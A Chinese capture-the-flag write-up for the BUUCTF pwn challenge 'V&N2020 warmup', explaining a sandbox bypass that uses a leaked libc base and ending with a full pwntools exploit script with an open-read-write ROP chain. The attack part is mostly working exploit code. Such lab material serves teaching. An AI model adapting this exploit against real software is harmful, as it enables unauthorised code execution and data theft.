BUUCTF--[V&N2020 公开赛]warmup

一开始直接告诉你libc基址。

有沙盒,分析了一下,write的count不等于0x10就可以,0x30什么的都可以。

嗯,还开了PIE。

很明显了,orw。 问题是开了PIE,b'flag\x00'不能写在BSS上了,同时也不能重复执行main。

怎么办呢,细心的小伙伴会发现我们知道libc的基址,那可以写在libc的bss上面啊。

这是第一段写入,不能溢出。

这是第二段,如果你用gdb调试一下或看看汇编就可以发现,如果这个0x80写满会和上面的0x180连起来。那就很简单了,从libc里面找gadget就好了。

以下是exp:

python 复制代码
from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote('node5.buuoj.cn',25603)
libc=ELF('./libc-2.23.so')
io.recvuntil(b'Here is my gift: ')
libc_base=int(io.recv(14),16)-libc.sym['puts']
print('libc_base:',hex(libc_base))
libc.address=libc_base
ope=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
write=libc.sym['write']
rdi=libc_base+0x21102
rsi=libc_base+0x202e8
rdx=libc_base+0x1b92
push_rsi=libc_base+0x34bcf
bss=libc.bss()
print('bss',hex(bss))
io.recvuntil(b'Input something: ')
payload=p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)
payload+=p64(read)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(read)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(write)
io.send(payload)
io.recvuntil(b"What's your name?")
payload=b'a'*0x78+p64(rdi)
io.send(payload)
sleep(0.1)
io.send(b'flag\x00')
io.interactive()

这里注意一点,open的第二个参数一定要特意写一下。

以下是通义千问的解释:

在不指定rsi的情况,open会直接将rsi里面的值作为flag值,而rsi里面有时候存着地址,是一个极大值,可能会引起一些意想不到的问题。例如这题中,执行rop的时候rsi存着的是buf的地址,是一个极大值,一开始我没有pop rsi为0,导致执行了好几遍都没法orw成功,加上了pop rsi 0才成功读出flag。

相关推荐
黑客Jack28 分钟前
防御 XSS 的七条原则
安全·web安全·xss
云云3211 小时前
怎么通过亚矩阵云手机实现营销?
大数据·服务器·安全·智能手机·矩阵
神一样的老师2 小时前
面向高精度网络的时间同步安全管理架构
网络·安全·架构
云云3213 小时前
云手机方案全解析
大数据·服务器·安全·智能手机·矩阵
云云3214 小时前
云手机能用来干什么?云手机在跨境电商领域的用途
服务器·线性代数·安全·智能手机·矩阵
云云3214 小时前
云手机方案总结
服务器·线性代数·安全·智能手机·矩阵
m0_748237055 小时前
2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛 Web&数据安全&AI 题解WriteUp
前端·安全·web安全
网络安全(华哥)5 小时前
X-Forwarded-For注入漏洞
windows·安全·web安全
互联网安全研究院5 小时前
我国科技企业遭网络攻击,黑客窃取大量商业秘密
网络·科技·安全
准橙考典6 小时前
如何考驾照?
物联网·安全·华为·自动驾驶·汽车